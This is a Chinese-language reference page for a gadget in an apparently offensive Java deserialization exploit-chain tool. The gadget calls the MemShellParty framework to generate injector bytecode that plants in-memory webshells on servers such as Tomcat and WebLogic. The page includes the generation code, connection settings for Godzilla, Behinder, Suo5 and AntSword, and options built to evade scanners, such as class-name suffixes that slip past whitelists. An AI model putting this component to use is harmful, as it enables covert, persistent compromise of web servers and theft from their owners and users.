- 类别:bytecode 别名:— 优先级:10
- 作者:ReaJason
- 依赖:内置 MemShellParty(v2.4.0,2025-12-09)、
slf4j
调用内置的 MemShellParty(com.reajason.javaweb.memshell)生成框架,按「目标中间件 × 挂载类型 × 管理工具」现场产出一段内存马注入器字节码,作为链尾字节码 sink(END)。相比 Jmg,MemShellParty 覆盖的中间件/挂载类型更全(含 Netty、WebSocket、SpringWebFlux、XXLJOB 等),并提供 probe/debug/shrink/lambdaSuffix 等更细的生成选项。
- 入口
tags:Bytecode、Inject、END——Bytecode(产物字节码)、Inject(内存马注入)、END(链终点,其后不接 gadget)。 - 衔接
nextTags:空。 excludes:无。
由上游「字节码装载器」承接:注入器 byte[] 需被目标加载执行才能完成注入,通常经 BytecodeConvert 装入 TemplatesImpl 触发。
核心是用 builder 组装三份 config,交给 MemShellGenerator.generate 生成:
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
chain.doCreate(context);
ShellConfig shellConfig = ShellConfig.builder()
.server(this.server).serverVersion(this.serverVersion)
.shellTool(this.shellTool).shellType(this.shellType)
.shrink(this.shrink).probe(this.probe)
.byPassJavaModule(this.byPassJavaModule).lambdaSuffix(this.lambdaSuffix).build();
InjectorConfig injectorConfig = InjectorConfig.builder()
.urlPattern(this.urlPattern).injectorClassName(this.injectorClassName)
.staticInitialize(this.staticInitialize).build();
ShellToolConfig shellToolConfig = this.parseShellToolConfig(); // 按 shellTool 分派
try {
MemShellResult generate = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
context.put("MemShellParty Shell ClassName", generate.getShellClassName());
context.put("MemShellParty Shell Bytecode Base64", generate.getShellBytesBase64Str());
context.put("MemShellParty Injector ClassName", generate.getInjectorClassName());
context.put("MemShellParty Injector Bytecode Base64", generate.getInjectorBytesBase64Str());
return generate.getInjectorBytes(); // 返回注入器字节码
} catch (Throwable e) {
ThrowsUtil.throwGadgetException(e);
return new byte[0];
}
}parseShellToolConfig() 按所选管理工具构造不同的 ShellToolConfig:
public ShellToolConfig parseShellToolConfig() {
switch (this.shellTool) {
case "Godzilla": return GodzillaConfig.builder().shellClassName(shellClassName)
.pass(pass).key(key).headerName(headerName).headerValue(headerValue).build();
case "Behinder": return BehinderConfig.builder()...pass(pass).headerName..build();
case "Suo5": case "Suo5v2":
return Suo5Config.builder()...headerName(headerName).headerValue(headerValue).build();
case "AntSword": return AntSwordConfig.builder()...pass(pass)..build();
case "NeoreGeorg":return NeoreGeorgConfig.builder()...build();
case "Custom": return CustomConfig.builder().shellClassBase64(shellBytesBase64)
.shellClassName(shellClassName).build();
}
throw new UnsupportedOperationException("unknown shell tool " + this.shellTool);
}逐段解释:
- 三段配置:
ShellConfig描述「目标环境 + 挂载方式 + 生成开关」;InjectorConfig描述「注入器行为」(URL、注入器类名、是否用静态块触发);ShellToolConfig描述「管理工具的连接凭据」,由parseShellToolConfig按shellTool多态生成——不同工具需要的字段不同(Godzilla 要 pass+key,Suo5/NeoreGeorg 无 pass,Custom 直接吃自定义 shell 的 Base64)。 staticInitialize(默认true):给注入器加静态代码块调用构造触发注入,适配「sink 只做静态初始化就 RCE」的场景(如TemplatesImpl触发时)。probe(回显模式)/debug:probe 会把注入器换成探测马、经响应确认注入结果;debug 在目标日志打印注入信息。shrink(默认true):缩小字节码体积;lambdaSuffix:给注入器/内存马类名追加$Proxy0$$Lambda$1后缀,绕过部分主动扫描白名单。- 产物:
generate.getInjectorBytes()是注入器字节码;同时 shell 与注入器的类名/字节码 Base64 都回写 Context 供查看。 Custom分支:shellBytesBase64提供的自定义内存马 Base64 交给CustomConfig,实现自定义马经 MemShellParty 注入器封装。
invoke 开头即 chain.doCreate(context)——本类为 END,一般链上游为空/收尾,主逻辑全在本环产出。异常统一走 ThrowsUtil.throwGadgetException 并返回空数组。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
server |
目标中间件类型 | 目标 Web 容器/框架 | Tomcat |
Tomcat / Jetty / Undertow / JBoss / Resin / WebLogic / WebSphere / GlassFish / TongWeb / BES / InforSuite / Apusic / SpringWebMvc / SpringWebFlux / XXLJOB |
serverVersion |
目标中间件版本 | 默认 unknown;TongWeb Valve 需 6/7/8,Jetty Handler 需 6/7+/12 | unknown |
版本号字符串 |
shellType |
内存马挂载类型 | 挂载方式 | Listener |
Jakarta / Servlet / Filter / Listener / Valve / Upgrade / ProxyValve / Handler / Customizer / NettyHandler / Interceptor / ControllerHandler / WebFilter / HandlerMethod / HandlerFunction / WebSocket 及各 Jakarta 变体 |
shellTool |
内存马管理工具 | 决定 ShellToolConfig 类型 | Godzilla |
Godzilla / Behinder / Suo5 / Suo5v2 / AntSword / NeoreGeorg / Custom |
pass |
连接密码 | Godzilla/Behinder/AntSword 密码;默认随机 | 随机 | 任意字符串 |
key |
连接密钥 | 仅 Godzilla 密钥;默认随机 | 随机 | 任意字符串 |
urlPattern |
url 匹配路径 | 一般无需更改 | /* |
URL pattern |
headerName |
内存马请求头 Key | 触发/通信请求头名 | Accept |
任意字符串 |
headerValue |
内存马请求头 Value | 默认随机 | 随机 | 任意字符串 |
debug |
调试模式 | 目标日志打印注入信息 | false |
true / false |
probe |
回显模式 | 注入探测马,经响应查看注入结果 | false |
true / false |
byPassJavaModule |
绕过 JDKModule 限制 | 高版本 JDK 反射绕过 | false |
true / false |
staticInitialize |
静态代码块初始化 | 加静态块触发注入,适配静态初始化 sink | true |
true / false |
shrink |
缩小字节码 | 压缩注入器体积 | true |
true / false |
lambdaSuffix |
类名添加 lambda 后缀 | 追加 $Proxy0$$Lambda$1 绕扫描白名单 |
false |
true / false |
shellClassName |
内存马类名 | 默认随机 | 随机 | 任意类名 |
injectorClassName |
注入器类名 | 默认随机 | 随机 | 任意类名 |
shellBytesBase64 |
自定义内存马 Base64 | shellTool=Custom 时的自定义马字节码 |
无 | Base64 |
- 内置 MemShellParty v2.4.0,中间件/挂载类型覆盖面广于 Jmg(含 Netty、WebSocket、XXLJOB、SpringWebFlux 等)。
- 产物是注入器字节码:默认借静态代码块(
staticInitialize=true)在被加载瞬间完成注入,因此必须搭配上游字节码装载器。 lambdaSuffix、shrink、probe等选项体现其在对抗检测/验证注入方面更精细;如遇参数组合不支持,可改用原版工程生成后复制到 BytecodeFromBase64。
usedInChains 为空——自由构件,未直接出现在 51 条预设链中。作为功能最全的内存马 sink,可替换任意命令执行 sink。
- 上游(吃
Bytecode的装载器):BytecodeConvert →TemplatesImpl等字节码装载跳板。 - 同族:JmgGadget、JmgCustomShellGadget(另一套 Jmg 内存马生成框架)。